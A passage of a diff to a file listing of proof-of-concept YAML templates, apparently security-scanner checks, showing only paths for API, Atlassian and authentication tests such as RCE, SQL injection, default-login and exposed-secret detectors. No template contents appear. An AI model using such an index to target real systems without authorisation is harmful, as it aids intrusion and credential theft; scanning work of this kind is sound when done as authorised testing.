-./poc/api/couchbase-buckets-api-1232.yaml -./poc/api/couchbase-buckets-api-1233.yaml +./poc/api/couchbase-buckets-api.yaml ./poc/api/couchbase-buckets-rest-api.yaml ./poc/api/cpanel-api-codes.yaml ./poc/api/cratesio-api-key.yaml @@ -672,6 +677,7 @@ ./poc/api/docker-remote-api.yaml ./poc/api/doppler-api-token.yaml ./poc/api/dropbox-api-token.yaml +./poc/api/drupal-jsonapi-user-listing.yaml ./poc/api/drupal_module-apigee_edge-access-bypass.yaml ./poc/api/drupal_module-bing_autosuggest_api-cross-site-scripting.yaml ./poc/api/drupal_module-jsonapi-access-bypass.yaml @@ -698,7 +704,6 @@ ./poc/api/exposed-docker-api-7300.yaml ./poc/api/exposed-glances-api-7307.yaml ./poc/api/exposed-glances-api-7308.yaml -./poc/api/exposed-glances-api-7309.yaml ./poc/api/exposed-glances-api-7310.yaml ./poc/api/facebook-api-token.yaml ./poc/api/facebook-page-feed-graph-api-124428fc6a79b3aa2b4be454d33a013a.yaml @@ -715,6 +720,7 @@ ./poc/api/fastapi-4.yaml ./poc/api/fastapi-5.yaml ./poc/api/fastapi-docs-7398.yaml +./poc/api/fastapi-docs-7399.yaml ./poc/api/fastapi-docs.yaml ./poc/api/fastly-api-token.yaml ./poc/api/fcm-api-key.yaml @@ -735,12 +741,14 @@ ./poc/api/gitlab-user-open-api-7703.yaml ./poc/api/gitlab-user-open-api.yaml ./poc/api/gmail-api-client-secrets-7740.yaml +./poc/api/gmail-api-client-secrets-7741.yaml ./poc/api/gmail-api-client-secrets.yaml ./poc/api/goSwaggerAPI.yaml -./poc/api/google-api(1).yaml ./poc/api/google-api-7771.yaml +./poc/api/google-api-7772.yaml ./poc/api/google-api-key-7767.yaml ./poc/api/google-api-key-7768.yaml +./poc/api/google-api-key-7769.yaml ./poc/api/google-api-key-7770.yaml ./poc/api/google-api-key.yaml ./poc/api/google-api-keys.yaml @@ -749,6 +757,7 @@ ./poc/api/grafana-api-key-exposure.yaml ./poc/api/grafana_with_prometheus_api_proxy.yaml ./poc/api/graphql-apiforwp-detect.yaml +./poc/api/graylog-api-browser-7846.yaml ./poc/api/graylog-api-browser-7847.yaml ./poc/api/graylog-api-browser-7848.yaml ./poc/api/graylog-api-browser.yaml @@ -779,15 +788,15 @@ ./poc/api/kube-api-deployments-8503.yaml ./poc/api/kube-api-deployments-8504.yaml ./poc/api/kube-api-namespaces-8505.yaml -./poc/api/kube-api-namespaces-8506.yaml +./poc/api/kube-api-namespaces.yaml ./poc/api/kube-api-nodes-8507.yaml ./poc/api/kube-api-nodes-8508.yaml ./poc/api/kube-api-pods-8509.yaml -./poc/api/kube-api-pods-8510.yaml +./poc/api/kube-api-pods.yaml ./poc/api/kube-api-roles.yaml ./poc/api/kube-api-scan.yaml ./poc/api/kube-api-secrets-8511.yaml -./poc/api/kube-api-secrets.yaml +./poc/api/kube-api-secrets-8512.yaml ./poc/api/kube-api-services-8513.yaml ./poc/api/kube-api-services.yaml ./poc/api/kubernetes-api-detect.yaml @@ -796,9 +805,8 @@ ./poc/api/magento-2-exposed-api-1.yaml ./poc/api/magento-2-exposed-api-2.yaml ./poc/api/magento-2-exposed-api-3.yaml -./poc/api/magento-2-exposed-api-8688.yaml +./poc/api/magento-2-exposed-api-8687.yaml ./poc/api/magento-2-exposed-api-8689.yaml -./poc/api/magento-2-exposed-api.yaml ./poc/api/mailchimp-api-11854.yaml ./poc/api/mailchimp-api-key-8723.yaml ./poc/api/mailchimp-api-key-8724.yaml @@ -806,7 +814,7 @@ ./poc/api/mailchimp-api-key-8726.yaml ./poc/api/mailchimp-api-key.yaml ./poc/api/mailchimp-api.yaml -./poc/api/mailgun-api-11855.yaml +./poc/api/mailgun-api(1).yaml ./poc/api/mailgun-api.yaml ./poc/api/mapifylite-0f50434af4d25993907702f024089573.yaml ./poc/api/mapifylite-5337e2d76eda361e94ff056a55642367.yaml @@ -816,6 +824,7 @@ ./poc/api/mapifylite-plugin.yaml ./poc/api/mapifylite.yaml ./poc/api/mikrotik-routeros-api-detect.yaml +./poc/api/mikrotik-routeros-api.yaml ./poc/api/mingyuanyun-erp-apiupdate-ashx-fileupload.yaml ./poc/api/mstore-api-02402a5deb8680f475ccb8226636819a.yaml ./poc/api/mstore-api-0eb1bb0f484da3d8212ba34bc125bacb.yaml @@ -861,7 +870,7 @@ ./poc/api/openapi-1.yaml ./poc/api/openapi-2.yaml ./poc/api/picatic-api-key-9574.yaml -./poc/api/pictatic-api-key-9576.yaml +./poc/api/pictatic-api-key-9575.yaml ./poc/api/pictatic-api-key.yaml ./poc/api/postman-api-key-disclosure.yaml ./poc/api/public-jamf-api.yaml @@ -904,16 +913,16 @@ ./poc/api/strapi-cms-detect-10540.yaml ./poc/api/strapi-cms-detect-10541.yaml ./poc/api/strapi-documentation-10542.yaml -./poc/api/strapi-documentation-10543.yaml ./poc/api/strapi-documentation.yaml ./poc/api/strapi-page-1.yaml ./poc/api/strapi-page-10544.yaml ./poc/api/strapi-page-10545.yaml +./poc/api/strapi-page-10546.yaml ./poc/api/strapi-page-10547.yaml ./poc/api/strapi-page-2.yaml ./poc/api/strapi-panel-10548.yaml ./poc/api/strapi-panel.yaml -./poc/api/stripe-api-key-11869.yaml +./poc/api/stripe-api-key(1).yaml ./poc/api/stripe-api-key.yaml ./poc/api/swagger-api-1.yaml ./poc/api/swagger-api-10.yaml @@ -1021,8 +1030,8 @@ ./poc/api/video-conferencing-with-zoom-api-plugin.yaml ./poc/api/video-conferencing-with-zoom-api.yaml ./poc/api/wadl-api-1.yaml -./poc/api/wadl-api-11082.yaml ./poc/api/wadl-api-11083.yaml +./poc/api/wadl-api-11084.yaml ./poc/api/wadl-api-11085.yaml ./poc/api/wadl-api-2.yaml ./poc/api/wadl-api-3.yaml @@ -1030,6 +1039,7 @@ ./poc/api/wadl-api-5.yaml ./poc/api/wadl-api-6.yaml ./poc/api/wadl-api-7.yaml +./poc/api/wadl-api.yaml ./poc/api/wcfm-marketplace-rest-api-83211a697400a39f3ef0aefc82922e72.yaml ./poc/api/wcfm-marketplace-rest-api.yaml ./poc/api/widget-for-eventbrite-api-6477bf18cad6c823db485408d49b337b.yaml @@ -1047,15 +1057,19 @@ ./poc/api/wpgetapi.yaml ./poc/api/wsdl-api-11632.yaml ./poc/api/wsdl-api-11633.yaml +./poc/api/wsdl-api-11634.yaml ./poc/api/wso2-apimanager-detect-11637.yaml +./poc/api/wso2-apimanager-detect-11638.yaml ./poc/api/wso2-apimanager-detect-11639.yaml ./poc/api/wso2-apimanager-detect.yaml ./poc/api/yapi-detect-11719.yaml ./poc/api/yapi-detect-11720.yaml -./poc/api/yapi-detect-11721.yaml ./poc/api/yapi-detect-11722.yaml +./poc/api/yapi-detect.yaml ./poc/api/yapi-rce-11724.yaml ./poc/api/yapi-rce-11725.yaml +./poc/api/yapi-rce-11726.yaml +./poc/api/yapi-rce.yaml ./poc/api/yapi-rce.yml ./poc/api/yapi-sql-inject.yaml ./poc/api/yapi-workflow.yaml @@ -1069,9 +1083,11 @@ ./poc/atlassian/atlassian-bamboo-version-detect.yaml ./poc/atlassian/atlassian-bitbucket-loginbypass.yaml ./poc/atlassian/atlassian-crowd-panel-580.yaml +./poc/atlassian/atlassian-crowd-panel-581.yaml ./poc/atlassian/atlassian-crowd-panel-582.yaml ./poc/atlassian/atlassian-crowd-panel-583.yaml ./poc/atlassian/atlassian-crowd-panel-584.yaml +./poc/atlassian/atlassian-crowd-panel-585.yaml ./poc/atlassian/atlassian-crowd-panel.yaml ./poc/atlassian/atlassian-jira-info-disclosure.yaml ./poc/atlassian/atlassian-jira.yaml @@ -1094,18 +1110,17 @@ ./poc/atlassian/confluence-cve-2021-26085-arbitrary-file-read.yml ./poc/atlassian/confluence-dashboard.yaml ./poc/atlassian/confluence-detect-1.yaml +./poc/atlassian/confluence-detect-1186.yaml ./poc/atlassian/confluence-detect-1187.yaml -./poc/atlassian/confluence-detect-1188.yaml ./poc/atlassian/confluence-detect-1189.yaml ./poc/atlassian/confluence-detect-2.yaml ./poc/atlassian/confluence-detect-3.yaml ./poc/atlassian/confluence-detect-4.yaml ./poc/atlassian/confluence-detect.yaml -./poc/atlassian/confluence-ssrf-sharelinks-1190.yaml ./poc/atlassian/confluence-ssrf-sharelinks-1191.yaml ./poc/atlassian/confluence-ssrf-sharelinks-1192.yaml +./poc/atlassian/confluence-ssrf-sharelinks-1193.yaml ./poc/atlassian/confluence-ssrf-sharelinks-1194.yaml -./poc/atlassian/confluence-ssrf-sharelinks.yaml ./poc/atlassian/confluence-workflow-1195.yaml ./poc/atlassian/confluence-workflow.yaml ./poc/atlassian/confluence.yaml @@ -1121,43 +1136,41 @@ ./poc/atlassian/jira-detect-8313.yaml ./poc/atlassian/jira-detect-8314.yaml ./poc/atlassian/jira-detect-8315.yaml -./poc/atlassian/jira-detect-8316.yaml ./poc/atlassian/jira-detect.yaml ./poc/atlassian/jira-exploitaiton-workflow.yaml ./poc/atlassian/jira-login-default.yaml ./poc/atlassian/jira-plugin-sqli.yaml -./poc/atlassian/jira-service-desk-signup-8317.yaml ./poc/atlassian/jira-service-desk-signup-8318.yaml ./poc/atlassian/jira-service-desk-signup-8319.yaml ./poc/atlassian/jira-service-desk-signup-8320.yaml +./poc/atlassian/jira-service-desk-signup-8321.yaml ./poc/atlassian/jira-service-desk-signup.yaml ./poc/atlassian/jira-setup.yaml ./poc/atlassian/jira-ssrf-cve-2019-8451.yml ./poc/atlassian/jira-unauthenticated-adminprojects-8322.yaml ./poc/atlassian/jira-unauthenticated-dashboards-8323.yaml -./poc/atlassian/jira-unauthenticated-dashboards-8324.yaml ./poc/atlassian/jira-unauthenticated-dashboards-8325.yaml +./poc/atlassian/jira-unauthenticated-dashboards-8326.yaml ./poc/atlassian/jira-unauthenticated-dashboards-8327.yaml ./poc/atlassian/jira-unauthenticated-installed-gadgets-8328.yaml ./poc/atlassian/jira-unauthenticated-installed-gadgets-8329.yaml -./poc/atlassian/jira-unauthenticated-installed-gadgets-8330.yaml +./poc/atlassian/jira-unauthenticated-popular-filters-8331.yaml ./poc/atlassian/jira-unauthenticated-popular-filters.yaml ./poc/atlassian/jira-unauthenticated-projectcategories-8333.yaml ./poc/atlassian/jira-unauthenticated-projectcategories-8334.yaml -./poc/atlassian/jira-unauthenticated-projectcategories.yaml -./poc/atlassian/jira-unauthenticated-projects-8335.yaml ./poc/atlassian/jira-unauthenticated-projects-8336.yaml +./poc/atlassian/jira-unauthenticated-projects.yaml ./poc/atlassian/jira-unauthenticated-resolutions-8337.yaml ./poc/atlassian/jira-unauthenticated-screens-8339.yaml ./poc/atlassian/jira-unauthenticated-screens.yaml ./poc/atlassian/jira-unauthenticated-user-picker-8340.yaml -./poc/atlassian/jira-unauthenticated-user-picker-8341.yaml ./poc/atlassian/jira-unauthenticated.yaml ./poc/atlassian/jira-workflow.yaml ./poc/atlassian/jira_user_piker.yaml ./poc/atlassian/jirausername.yaml ./poc/atlassian/poc-yaml-Confluence-ognl-rce.yaml ./poc/auth/1password-phish.yaml +./poc/auth/3Com-wireless-default-login.yaml ./poc/auth/3com-asesor-de-cookies-409391b24c735ce9208081376a78bae8.yaml ./poc/auth/3com-asesor-de-cookies.yaml ./poc/auth/74cms_v4-register-sqli.yaml @@ -1220,7 +1233,6 @@ ./poc/auth/Mallbuilder-smarty_config_key-SQLi.yaml ./poc/auth/Mallbuilder-sub_site_key-SQLi.yaml ./poc/auth/Mallbuilder-wap_key-SQLi.yaml -./poc/auth/Mantis-Default_login.yaml ./poc/auth/Metinfo-V5_0_admin_memeber_getpassword-SQLi.yaml ./poc/auth/Metinfo-login_check-SQLi.yaml ./poc/auth/MinIO-default-login.yaml @@ -1287,12 +1299,13 @@ ./poc/auth/access-category-password.yaml ./poc/auth/accredible-certificates-19877bfd228a784355caff7bdef8ce37.yaml ./poc/auth/accredible-certificates.yaml +./poc/auth/acemanager-login-23.yaml ./poc/auth/acemanager-login-24.yaml ./poc/auth/acemanager-login-25.yaml ./poc/auth/acemanager-login.yaml +./poc/auth/activemq-default-login-44.yaml ./poc/auth/activemq-default-login-45.yaml ./poc/auth/activemq-default-login-46.yaml -./poc/auth/activemq-default-login-47.yaml ./poc/auth/activemq-default-login-48.yaml ./poc/auth/activemq-default-password.yaml ./poc/auth/activemq-default-password.yml @@ -1324,26 +1337,26 @@ ./poc/auth/adobe-aem-default-credentials-9.yaml ./poc/auth/adobe-component-login-1.yaml ./poc/auth/adobe-component-login-2.yaml -./poc/auth/adobe-component-login-90.yaml +./poc/auth/adobe-component-login-89.yaml ./poc/auth/adobe-component-login-92.yaml ./poc/auth/adobe-component-login.yaml +./poc/auth/adobe-connect-central-login-93.yaml ./poc/auth/adobe-connect-central-login-94.yaml ./poc/auth/adobe-connect-central-login-95.yaml -./poc/auth/adobe-connect-central-login-97.yaml ./poc/auth/adobe-connect-central-login.yaml -./poc/auth/adobe-experience-manager-login-106.yaml +./poc/auth/adobe-experience-manager-login-105.yaml ./poc/auth/adobe-experience-manager-login-107.yaml ./poc/auth/adobe-experience-manager-login-108.yaml ./poc/auth/adobe-experience-manager-login-109.yaml ./poc/auth/adobe-experience-manager-login.yaml ./poc/auth/adobe-secret.yaml -./poc/auth/aem-default-login-141.yaml +./poc/auth/aem-default-login-140.yaml ./poc/auth/aem-default-login-142.yaml -./poc/auth/aem-default-login.yaml ./poc/auth/aem-login-status-167.yaml ./poc/auth/aem-login-status-168.yaml ./poc/auth/aem-login-status-170.yaml ./poc/auth/aem-login-status-171.yaml +./poc/auth/aem-secrets.yaml ./poc/auth/aem-sling-login.yaml ./poc/auth/afterlogic-webmail-login.yaml ./poc/auth/age-identity-secret-key.yaml @@ -1352,17 +1365,14 @@ ./poc/auth/aic-intelligent-password-leak.yaml ./poc/auth/aims-password-mgmt-client-218.yaml ./poc/auth/aims-password-mgmt-client-220.yaml -./poc/auth/aims-password-mgmt-client-221.yaml ./poc/auth/aims-password-mgmt-client.yaml ./poc/auth/aims-password-portal-222.yaml ./poc/auth/aims-password-portal-223.yaml -./poc/auth/aims-password-portal-224.yaml ./poc/auth/aims-password-portal.yaml ./poc/auth/aircube-login.yaml ./poc/auth/airflow-default-credentials.yaml -./poc/auth/airflow-default-login-235.yaml +./poc/auth/airflow-default-login-234.yaml ./poc/auth/airflow-default-login-236.yaml -./poc/auth/airflow-default-login.yaml ./poc/auth/airflow-unauth.yaml ./poc/auth/airflow-unauth.yml ./poc/auth/airtable-key.yaml @@ -1375,6 +1385,7 @@ ./poc/auth/alibaba-key-id.yaml ./poc/auth/alibaba-mongoshake-unauth-269.yaml ./poc/auth/alibaba-mongoshake-unauth-270.yaml +./poc/auth/alibaba-mongoshake-unauth.yaml ./poc/auth/alibaba-nacos-v1-auth-bypass.yml ./poc/auth/alibaba-secret-id.yaml ./poc/auth/alphaweb-default-login-276.yaml @@ -1385,21 +1396,23 @@ ./poc/auth/amazon-mws-auth-token-282.yaml ./poc/auth/amazon-mws-auth-token-283.yaml ./poc/auth/amazon-mws-auth-token-detect.yaml -./poc/auth/amazon-mws-auth-token-value.yaml +./poc/auth/amazon-mws-auth-token.yaml +./poc/auth/amazon-mws-auth-token_重复副本.yaml ./poc/auth/amazon-session-token.yaml ./poc/auth/amazon-sns-token.yaml ./poc/auth/ambari-default-credentials-286.yaml ./poc/auth/ambari-default-credentials.yaml +./poc/auth/ambari-default-login-287.yaml ./poc/auth/ambari-default-login-288.yaml ./poc/auth/ambari-default-login-289.yaml ./poc/auth/ambari-default-login-290.yaml ./poc/auth/ambari-default-password.yaml -./poc/auth/amcrest-login-296.yaml +./poc/auth/amcrest-login-297.yaml ./poc/auth/amcrest-login-298.yaml ./poc/auth/amcrest-login-299.yaml ./poc/auth/amcrest-login.yaml -./poc/auth/ametys-admin-login-300.yaml ./poc/auth/ametys-admin-login-301.yaml +./poc/auth/ametys-admin-login-302.yaml ./poc/auth/ametys-admin-login.yaml ./poc/auth/ampjuke-default-login.yaml ./poc/auth/anaqua-login-panel.yaml @@ -1410,13 +1423,16 @@ ./poc/auth/apache-config-plain-password.yaml ./poc/auth/apache-couchdb-unauth.yaml ./poc/auth/apache-druid-unauth.yaml -./poc/auth/apache-flink-unauth-rce-355.yaml +./poc/auth/apache-dubbo-unauth.yaml +./poc/auth/apache-flink-unauth-rce-356.yaml ./poc/auth/apache-flink-unauth-rce-357.yaml ./poc/auth/apache-flink-unauth-rce-358.yaml ./poc/auth/apache-flink-unauth-rce-359.yaml +./poc/auth/apache-flink-unauth-rce.yaml ./poc/auth/apache-hbase-unauth.yaml ./poc/auth/apache-kylin-unauth-cve-2020-13937.yml ./poc/auth/apache-nifi-api-unauthorized-access.yml +./poc/auth/apache-rocketmq-broker-unauth.yaml ./poc/auth/apache-storm-unauth.yaml ./poc/auth/apache-storm-unauthorized-access.yml ./poc/auth/apache-superset-login-extended.yaml @@ -1431,21 +1447,20 @@ ./poc/auth/api-key-for-google-maps.yaml ./poc/auth/api-keys.yaml ./poc/auth/api-mojoauth.yaml -./poc/auth/api-onelogin.yaml +./poc/auth/api-onelogin-472.yaml ./poc/auth/apisix-default-login-490.yaml ./poc/auth/apisix-default-login-492.yaml ./poc/auth/apollo-default-login-520.yaml -./poc/auth/apollo-default-login-521.yaml ./poc/auth/apple-app-site-association-524.yaml -./poc/auth/apple-app-site-association-525.yaml ./poc/auth/apple-app-site-association-526.yaml ./poc/auth/apple-app-site-association.yaml ./poc/auth/appsmith-web-login.yaml ./poc/auth/arcgis-tokens.yaml ./poc/auth/argocd-login-534.yaml +./poc/auth/argocd-login-535.yaml ./poc/auth/argocd-login-536.yaml +./poc/auth/arl-default-login-537.yaml ./poc/auth/arl-default-login-538.yaml -./poc/auth/arl-default-login-539.yaml ./poc/auth/arl-default-login-540.yaml ./poc/auth/arl-default-password-542.yaml ./poc/auth/arl-default-password.yaml @@ -1454,13 +1469,16 @@ ./poc/auth/artifactory-api-token-551.yaml ./poc/auth/artifactory-secrets.yaml ./poc/auth/asana-clientsecret.yaml +./poc/auth/asus-rtn16-default-login.yaml +./poc/auth/asus-wl500g-default-login.yaml +./poc/auth/asus-wl520GU-default-login.yaml ./poc/auth/atechmedia-codebase-login-check.yaml ./poc/auth/atlassian-bitbucket-loginbypass.yaml ./poc/auth/atlassian-login-check.yaml ./poc/auth/atlassian-login-default.yaml ./poc/auth/atvise-login-589.yaml +./poc/auth/atvise-login-590.yaml ./poc/auth/atvise-login-591.yaml -./poc/auth/atvise-login.yaml ./poc/auth/auth token leake.yaml ./poc/auth/auth-header-manipulation.yaml ./poc/auth/auth-js.yaml @@ -1512,17 +1530,20 @@ ./poc/auth/auto-login-when-resister-2f930912217edb47a1b0335c7c11b347.yaml ./poc/auth/auto-login-when-resister.yaml ./poc/auth/avatier-password-management-604.yaml +./poc/auth/avatier-password-management.yaml ./poc/auth/avatier_password_management.yaml ./poc/auth/avigilon-login.yaml ./poc/auth/avtech-password-disclosure.yaml ./poc/auth/aws-access-key-value-622.yaml ./poc/auth/aws-access-key-value-623.yaml +./poc/auth/aws-access-key-value-625.yaml ./poc/auth/aws-access-key-value.yaml ./poc/auth/aws-access-key.yaml ./poc/auth/aws-opensearch-login-650.yaml ./poc/auth/aws-opensearch-login.yaml ./poc/auth/aws-secrets.yaml ./poc/auth/axiom-digitalocean-key-exposure-665.yaml +./poc/auth/axiom-digitalocean-key-exposure-666.yaml ./poc/auth/axiom-digitalocean-key-exposure-667.yaml ./poc/auth/axiom-digitalocean-key-exposure-668.yaml ./poc/auth/axis2-default-login-1.yaml @@ -1534,11 +1555,11 @@ ./poc/auth/axublog-adlogin-sql-injection.yaml ./poc/auth/axublog-login-universal-password.yaml ./poc/auth/axublog-v1-cookiebypass.yaml +./poc/auth/azkaban-default-login-671.yaml ./poc/auth/azkaban-default-login-672.yaml ./poc/auth/azkaban-default-login-673.yaml ./poc/auth/azkaban-default-login-674.yaml ./poc/auth/azkaban-default-login-675.yaml -./poc/auth/azkaban-default-login.yaml ./poc/auth/azkaban-default-password.yaml ./poc/auth/azkaban-web-client-default-creds.yaml ./poc/auth/azure-apim-secret-key-disclosure.yaml @@ -1579,10 +1600,11 @@ ./poc/auth/beescms_v4-login-sqli.yaml ./poc/auth/behavioral-auth-bypass.yaml ./poc/auth/beyondtrust-login-server-718.yaml +./poc/auth/beyondtrust-login-server-719.yaml ./poc/auth/beyondtrust-login-server.yaml ./poc/auth/bigant-login-panel.yaml ./poc/auth/bigbluebutton-login-724.yaml -./poc/auth/bigbluebutton-login-726.yaml +./poc/auth/bigbluebutton-login-725.yaml ./poc/auth/bigbluebutton-login.yaml ./poc/auth/bigfix-login.yaml ./poc/auth/biometric-login-for-woocommerce-56a06f7ec0c2351c343ea2384b7dbd44.yaml @@ -1609,22 +1631,22 @@ ./poc/auth/blossom-spa.yaml ./poc/auth/blossomthemes-email-newsletter-7dc6edac570bf028c64b4de6d220672b.yaml ./poc/auth/blossomthemes-email-newsletter.yaml -./poc/auth/blue-iris-login-751.yaml ./poc/auth/blue-iris-login-752.yaml ./poc/auth/blue-iris-login-753.yaml +./poc/auth/blue-iris-login-754.yaml ./poc/auth/blue-iris-login.yaml ./poc/auth/bluet-keywords-tooltip-generator-71ffb92be6862dd3422bd8a61ad3a3ae.yaml ./poc/auth/bluet-keywords-tooltip-generator-9f8dfb534ce422b5a9c6344470f1b6e5.yaml ./poc/auth/bluet-keywords-tooltip-generator.yaml +./poc/auth/bmc-remedy-sso-panel.yaml ./poc/auth/bohuawanglong-users-xml-password-leak.yaml ./poc/auth/bomgar-login-panel.yaml -./poc/auth/braintree-access-token-771.yaml ./poc/auth/braintree-access-token-772.yaml -./poc/auth/braintree-access-token.yaml -./poc/auth/branch-key-775.yaml +./poc/auth/braintree-access-token-773.yaml +./poc/auth/branch-key-774.yaml ./poc/auth/branch-key.yaml ./poc/auth/brother-unauthorized-access-791.yaml -./poc/auth/brother-unauthorized-access-793.yaml +./poc/auth/brother-unauthorized-access-792.yaml ./poc/auth/brother-unauthorized-access.yaml ./poc/auth/brute-force-login-protection-20bc35cc9dd5149e33075d4261e715a7.yaml ./poc/auth/brute-force-login-protection.yaml @@ -1633,13 +1655,15 @@ ./poc/auth/bt742-pma-unauthorized-access.yml ./poc/auth/businessintelligence-default-login-814.yaml ./poc/auth/businessintelligence-default-login-815.yaml -./poc/auth/businessintelligence-default-login-816.yaml +./poc/auth/businessintelligence-default-login-817.yaml +./poc/auth/businessintelligence-default-login.yaml +./poc/auth/cambium-networks-default-login.yaml ./poc/auth/camunda-login-panel-1.yaml ./poc/auth/camunda-login-panel-2.yaml ./poc/auth/camunda-login-panel.yaml -./poc/auth/canal-default-login-846.yaml ./poc/auth/canal-default-login-847.yaml ./poc/auth/canal-default-login-848.yaml +./poc/auth/canal-default-login-849.yaml ./poc/auth/canal-default-login.yaml ./poc/auth/captcha-code-authentication-198c2fa27cc518c127d49255679341f9.yaml ./poc/auth/captcha-code-authentication-c7faba710d318637d4639fc04a02d42a.yaml @@ -1684,33 +1708,33 @@ ./poc/auth/check-register_argc_argv.yaml ./poc/auth/checkmk-login.yaml ./poc/auth/chefio-login-check.yaml -./poc/auth/chinaunicom-default-login-906.yaml ./poc/auth/chinaunicom-default-login-907.yaml ./poc/auth/chinaunicom-default-login-908.yaml -./poc/auth/chinaunicom-default-login.yaml +./poc/auth/chinaunicom-default-login-909.yaml ./poc/auth/chinaunicom-modem-default-credentials-911.yaml ./poc/auth/chinaunicom-modem-default-credentials.yaml ./poc/auth/chinaunicom-modem-default-password.yaml ./poc/auth/chinaunicom-modem-default-password.yml ./poc/auth/ciphertrust-default-password-vulnerability.yaml ./poc/auth/circarlife-default-login.yaml -./poc/auth/cisco-finesse-login-938.yaml ./poc/auth/cisco-finesse-login-939.yaml +./poc/auth/cisco-finesse-login-940.yaml ./poc/auth/cisco-finesse-login.yaml ./poc/auth/cisco-integrated-login-941.yaml ./poc/auth/cisco-integrated-login-942.yaml ./poc/auth/cisco-integrated-login.yaml -./poc/auth/cisco-systems-login-973.yaml ./poc/auth/cisco-systems-login-974.yaml +./poc/auth/cisco-systems-login-975.yaml ./poc/auth/cisco-systems-login.yaml -./poc/auth/cisco-ucs-kvm-login-979.yaml +./poc/auth/cisco-ucs-kvm-login-980.yaml ./poc/auth/cisco-ucs-kvm-login.yaml ./poc/auth/cisco-vmanage-login.yaml ./poc/auth/citrix-cve-2020-8193-unauthorized.yml ./poc/auth/citrix-gateway-login.yaml ./poc/auth/citrix-netscaler-aaa-login.yml -./poc/auth/clave-login-panel-994.yaml +./poc/auth/clamav-unauth.yaml ./poc/auth/clave-login-panel-995.yaml +./poc/auth/clave-login-panel-996.yaml ./poc/auth/clave-login-panel.yaml ./poc/auth/clean-login-06d6237e1f5cab68e8fb96b19ba95df6.yaml ./poc/auth/clean-login-3699fe4c48dfb5a3188e2bfc0ad1a878.yaml @@ -1726,7 +1750,7 @@ ./poc/auth/clickhouse-db-unauth.yaml ./poc/auth/clickhouse-server-Unauthorized-Sql.yaml ./poc/auth/clickhouse-unauth-1002.yaml -./poc/auth/clickhouse-unauth-1003.yaml +./poc/auth/clickhouse-unauth-1004.yaml ./poc/auth/clickhouse-unauth-api.yaml ./poc/auth/clickhouse-unauth.yaml ./poc/auth/client-cert-auth-bypass.yaml @@ -1749,15 +1773,14 @@ ./poc/auth/co-authors-plus-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/auth/co-authors-plus-plugin.yaml ./poc/auth/co-authors-plus.yaml -./poc/auth/cobbler-default-login-1119.yaml +./poc/auth/cobbler-default-login-1118.yaml ./poc/auth/cobbler-default-login-1120.yaml ./poc/auth/cobbler-default-login-1121.yaml ./poc/auth/code-climate-token.yaml ./poc/auth/code-server-login.yaml ./poc/auth/codecov-access-token.yaml ./poc/auth/codepen-login-check.yaml -./poc/auth/codian-mcu-login-1139.yaml -./poc/auth/codian-mcu-login.yaml +./poc/auth/codian-mcu-login-1140.yaml ./poc/auth/coinbase-access-token.yaml ./poc/auth/coldfusion-administrator-login-1144.yaml ./poc/auth/coldfusion-administrator-login-1146.yaml @@ -1842,16 +1865,17 @@ ./poc/auth/couchdb-unauthorized.yaml ./poc/auth/cratesio-api-key.yaml ./poc/auth/creatio-login-panel.yaml +./poc/auth/credential-exposure-1249.yaml ./poc/auth/credential-exposure-1250.yaml ./poc/auth/credential-exposure-file.yaml ./poc/auth/credential-exposure.yaml ./poc/auth/credentials (copy 1).yaml -./poc/auth/credentials-1258.yaml +./poc/auth/credentials-1257.yaml ./poc/auth/credentials-1259.yaml ./poc/auth/credentials-disclosure-1252.yaml ./poc/auth/credentials-disclosure-1253.yaml ./poc/auth/credentials-disclosure-1254.yaml -./poc/auth/credentials-disclosure-1256.yaml +./poc/auth/credentials-disclosure-1255.yaml ./poc/auth/credentials-disclosure-all.yaml ./poc/auth/credentials-json.yaml ./poc/auth/credentials.yaml @@ -1861,12 +1885,14 @@ ./poc/auth/credova-financial.yaml ./poc/auth/crush-ftp-login-1273.yaml ./poc/auth/crush-ftp-login-1274.yaml +./poc/auth/crush-ftp-login-1275.yaml ./poc/auth/crush-ftp-login.yaml +./poc/auth/crushftp-anonymous-login.yaml ./poc/auth/cs-cart-unauthenticated-lfi-1281.yaml +./poc/auth/cs-cart-unauthenticated-lfi-1282.yaml ./poc/auth/cs-cart-unauthenticated-lfi-1283.yaml ./poc/auth/cs-cart-unauthenticated-lfi-1284.yaml ./poc/auth/cs-cart-unauthenticated-lfi-1285.yaml -./poc/auth/cs-cart-unauthenticated-lfi.yaml ./poc/auth/cs141-default-login-1.yaml ./poc/auth/cs141-default-login-1278.yaml ./poc/auth/cs141-default-login-1279.yaml @@ -1915,7 +1941,7 @@ ./poc/auth/customize-login.yaml ./poc/auth/cx-cloud-login-1.yaml ./poc/auth/cx-cloud-login-2.yaml -./poc/auth/cx-cloud-login-6764.yaml +./poc/auth/cx-cloud-login-6765.yaml ./poc/auth/cx-cloud-login.yaml ./poc/auth/cyberus-key-0fcb55b4c15a72fb5f03d007d9eea213.yaml ./poc/auth/cyberus-key-516498bd644bd44412ee37a24de3895a.yaml @@ -1945,14 +1971,12 @@ ./poc/auth/dbeaver-credentials-6782.yaml ./poc/auth/dell-emc-ecom-default-credentials-6917.yaml ./poc/auth/dell-emc-ecom-default-credentials.yaml -./poc/auth/dell-idrac-default-login-6942.yaml ./poc/auth/dell-idrac-default-login-6943.yaml ./poc/auth/dell-idrac-default-login-6944.yaml +./poc/auth/dell-idrac-default-login-6945.yaml ./poc/auth/dell-idrac-default-login-6946.yaml -./poc/auth/dell-idrac-default-login.yaml ./poc/auth/dell-idrac9-default-login-6930.yaml ./poc/auth/dell-idrac9-default-login-6931.yaml -./poc/auth/dell-idrac9-default-login-6932.yaml ./poc/auth/dell-idrac9-default-login-6933.yaml ./poc/auth/dell-idrac9-default-login-6934.yaml ./poc/auth/dell-idrac9-default-login-6935.yaml @@ -1974,7 +1998,9 @@ ./poc/auth/delta-login-panel.yaml ./poc/auth/dericam-login-6960.yaml ./poc/auth/dericam-login-6961.yaml +./poc/auth/dericam-login-6962.yaml ./poc/auth/dericam-login.yaml +./poc/auth/digital-watchdog-default-login.yaml ./poc/auth/digitalocean-access-token.yaml ./poc/auth/digitalocean-refresh-token.yaml ./poc/auth/digitalrebar-login.yaml @@ -1982,7 +2008,7 @@ ./poc/auth/dir-100-login-panel.yaml ./poc/auth/dir-600-login-panel.yaml ./poc/auth/dir-850l-login-panel.yaml -./poc/auth/directadmin-login-panel-7000.yaml +./poc/auth/directadmin-login-panel-7001.yaml ./poc/auth/directadmin-login-panel.yaml ./poc/auth/directum-login.yaml 